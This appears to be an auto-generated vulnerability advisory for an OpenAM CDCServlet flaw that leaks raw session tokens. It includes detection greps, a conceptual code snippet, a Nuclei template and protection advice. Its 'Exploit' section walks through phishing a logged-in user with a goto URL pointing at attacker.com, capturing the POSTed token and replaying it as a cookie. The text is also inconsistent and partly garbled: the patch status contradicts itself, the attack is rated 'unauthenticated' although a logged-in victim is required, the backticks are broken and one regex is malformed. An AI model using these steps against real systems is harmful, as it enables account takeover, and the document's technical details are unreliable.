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How CVE-2026-45049 Works
CVE-2026-45049 is an Information Exposure Through Sent Data vulnerability (CWE-201) affecting OpenAM Community Edition up to version 16.0.6. The flaw resides in the Cross-Domain Single Sign-On (CDSSO) servlet, specifically the `CDCServlet` component responsible for handling cross-domain authentication requests.
Under normal CDSSO operation, when a user authenticates in one domain and attempts to access a protected resource in another domain, OpenAM’s `CDCServlet` facilitates the secure transfer of session context between domains. However, due to improper handling of session data transmission, the servlet inadvertently includes the user’s raw, unencrypted OpenAM session token in the data POSTed to the destination URL.
The vulnerability is triggered when an authenticated user is induced to visit a specially crafted URL—typically via phishing, malicious iframe, or redirect from an attacker-controlled site. The crafted URL forces the `CDCServlet` to process a cross-domain request that points to an attacker‑owned endpoint as the target. Instead of sending the session token to a legitimate OpenAM policy agent, the servlet POSTs the victim’s raw session identifier directly to the attacker’s server.
This exposure occurs because the `CDCServlet` does not validate or restrict the destination URL to a predefined whitelist of trusted policy agents. In default configurations, the servlet accepts the target URL as part of the request parameters and forwards the session token without adequate safeguards. The attack requires user interaction—the victim must be logged into OpenAM and click or be redirected to the malicious link.
The vulnerability is further gated on a non‑default configuration being absent; specifically, organizations that have not implemented additional URL validation or network‑level restrictions on CDSSO endpoints are at risk. Once the attacker obtains the raw session token, they can replay it to impersonate the victim, gaining full access to all applications and resources protected by OpenAM under that session.
This issue was patched in OpenAM Community Edition version 16.1.1. Users running versions ≤16.0.6 with CDSSO enabled are strongly advised to upgrade immediately.
DailyCVE Form
Platform: OpenAM Community Edition
Version: ≤ 16.0.6
Vulnerability: Information Exposure (CWE-201)
Severity: High (8.3 CVSS)
Date: 2026-06-23
Prediction: 2026-07-15 (expected patch availability)
What Undercode Say
Analytics Overview
- Attack Vector: Network (Remote)
- Attack Complexity: Low (crafted URL)
- Privileges Required: None (unauthenticated)
- User Interaction: Required (victim must visit malicious URL)
- Scope: Unchanged
- Confidentiality Impact: High (session token exposed)
- Integrity Impact: High (session hijacking)
- Availability Impact: None
Bash Commands for Detection
Check OpenAM version grep -i "version" /path/to/openam/WEB-INF/web.xml Search CDCServlet logs for suspicious outbound POSTs grep "CDCServlet" /var/log/openam/access.log | grep -E "POST.http[bash]?://" Audit CDSSO configuration for missing URL whitelist grep -r "cdsso" /path/to/openam/conf/
Code Snippet – Vulnerable Request Flow (Conceptual)
// Simplified representation of vulnerable CDCServlet logic
public void doPost(HttpServletRequest req, HttpServletResponse res) {
String targetUrl = req.getParameter("goto");
String sessionToken = req.getSession().getId();
// No validation of targetUrl – session token sent to any destination
HttpClient.post(targetUrl, "session=" + sessionToken);
}
Nuclei Template Snippet (Detection)
id: CVE-2026-45049
info:
name: OpenAM CDCServlet Session Token Exposure
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/openam/cdcservlet?goto=http://attacker.com/callback"
matchers:
- type: status
status:
- 200
Exploit
An attacker can exploit CVE-2026-45049 by following these steps:
1. Set up an attacker‑controlled server to receive the exfiltrated session token (e.g., https://attacker.com/callback`).CDCServlet
2. Craft a malicious URL pointing to the vulnerable OpenAM:
https://target-openam.com/openam/cdcservlet?goto=https://attacker.com/callback
3. Deliver the URL to an authenticated OpenAM user via phishing email, social engineering, or embedding in a malicious webpage.
4. Wait for the victim to click the link. The victim's browser will send a request to theCDCServlet`, which will POST the raw session token to the attacker’s endpoint.
5. Capture the token from the attacker’s server logs:
POST /callback HTTP/1.1 Host: attacker.com session=AQIC5wM2LY4Sfcx... (raw OpenAM session ID)
6. Replay the token to impersonate the victim by setting the `iPlanetDirectoryPro` cookie in the attacker’s browser and accessing protected resources.
Protection
- Upgrade immediately to OpenAM Community Edition 16.1.1 or later.
- If immediate upgrade is not possible, apply the following workarounds:
- Restrict CDSSO endpoints using a Web Application Firewall (WAF) to only allow requests to trusted policy agent URLs.
- Implement network‑level restrictions to limit outbound POST requests from the `CDCServlet` to a predefined whitelist of IP addresses.
- Disable CDSSO if not strictly required for multi‑domain deployments.
- Monitor logs for anomalous `CDCServlet` requests containing unexpected `goto` parameters.
- Enable additional session protections such as short session timeouts, IP binding, or MFA to reduce the impact of token theft.
- Review and audit all OpenAM configurations to ensure no other exposure points exist.
Impact
Successful exploitation of CVE-2026-45049 allows an unauthenticated attacker to obtain a valid OpenAM session token belonging to any logged‑in victim. With this token, the attacker can:
– Impersonate the victim across all applications and services relying on OpenAM for authentication.
– Access sensitive data, perform privileged actions, and modify user profiles without requiring additional credentials.
– Escalate privileges if the victim holds administrative roles, potentially compromising the entire identity management infrastructure.
– Pivot to internal networks if OpenAM is used as a gateway to backend systems.
– Cause reputational and financial damage through data breaches, unauthorized transactions, or service disruption.
OpenAM deployments through version 16.0.6 that have CDSSO enabled are potentially affected. The CDSSO component is commonly enabled in multi‑domain deployments, making this vulnerability relevant to a wide range of enterprise environments.
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Sources:
Reported By: github.com
Extra Source Hub:
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